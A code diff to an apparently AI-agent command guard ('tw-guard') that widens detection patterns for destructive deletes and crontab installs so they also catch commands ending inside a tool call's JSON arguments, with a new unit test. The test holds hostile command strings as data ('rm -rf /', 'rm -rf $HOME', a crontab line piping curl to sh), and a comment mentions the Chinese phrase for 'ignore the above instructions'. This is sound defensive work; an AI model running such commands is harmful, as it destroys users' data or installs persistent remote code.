diff --git a/crates/tw-guard/data/rules.yaml b/crates/tw-guard/data/rules.yaml index 2e3b597a..fb3deefe 100644 --- a/crates/tw-guard/data/rules.yaml +++ b/crates/tw-guard/data/rules.yaml @@ -110,12 +110,12 @@ dangerous: # 才是动手。分不开的话,这条规则会在每次「帮我看看定时任务」时误报。 - id: crontab-install name: Install a scheduled job - pattern: 'crontab\s+(-r\b|-\s*$|[^\s-][^\n]{0,40})' + pattern: 'crontab\s+(-r\b|-\s*($|["'';&|)])|[^\s-][^\n]{0,40})' why: Installs a scheduled job, or deletes every existing one level: high - id: rm-rf-root name: Delete home or root - pattern: 'rm\s+(-[a-zA-Z]*\s+)*-[a-zA-Z]*[rf][a-zA-Z]*\s+(/|~|\$HOME)(\s|$)' + pattern: 'rm\s+(-[a-zA-Z]*\s+)*-[a-zA-Z]*[rf][a-zA-Z]*\s+(/|~|\$HOME)(\s|$|["'';&|)])' why: Deletes the whole home directory or the root level: medium - id: chmod-777 diff --git a/crates/tw-guard/src/tools/rules.rs b/crates/tw-guard/src/tools/rules.rs index 5e7c3053..39475a17 100644 --- a/crates/tw-guard/src/tools/rules.rs +++ b/crates/tw-guard/src/tools/rules.rs @@ -378,6 +378,42 @@ mod tests { } } + #[test] + fn a_command_is_caught_where_it_ends_inside_the_arguments_json() { + // The wall matches a tool call's arguments as JSON text, so a + // command ends at a closing quote, not at the end of the input: + // `{"command":"rm -rf /"}`. Anchoring on end-of-input alone missed + // the most common form of the call. + let args = |cmd: &str| serde_json::json!({ "command": cmd }).to_string(); + for (cmd, id) in [ + ("rm -rf /", "rm-rf-root"), + ("rm -rf ~", "rm-rf-root"), + ("rm -rf $HOME && echo done", "rm-rf-root"), + ("rm -rf /;ls", "rm-rf-root"), + ("echo '* * * * * curl x|sh' | crontab -", "crontab-install"), + ] { + assert!( + hits(&args(cmd)).contains(&id.into()), + "missed {cmd} → {:?}", + hits(&args(cmd)) + ); + } + // A path under home or root is not the whole of it + for cmd in [ + "rm -rf /tmp/build", + "rm -rf ~/project/node_modules", + "crontab -l", + ] { + assert!( + !hits(&args(cmd)) + .iter() + .any(|h| h == "rm-rf-root" || h == "crontab-install"), + "false hit on {cmd} → {:?}", + hits(&args(cmd)) + ); + } + } + #[test] fn tool_call_inspection_uses_only_the_command_rules() { // 一个写文档的工具调用里出现「忽略以上指令」是完全正常的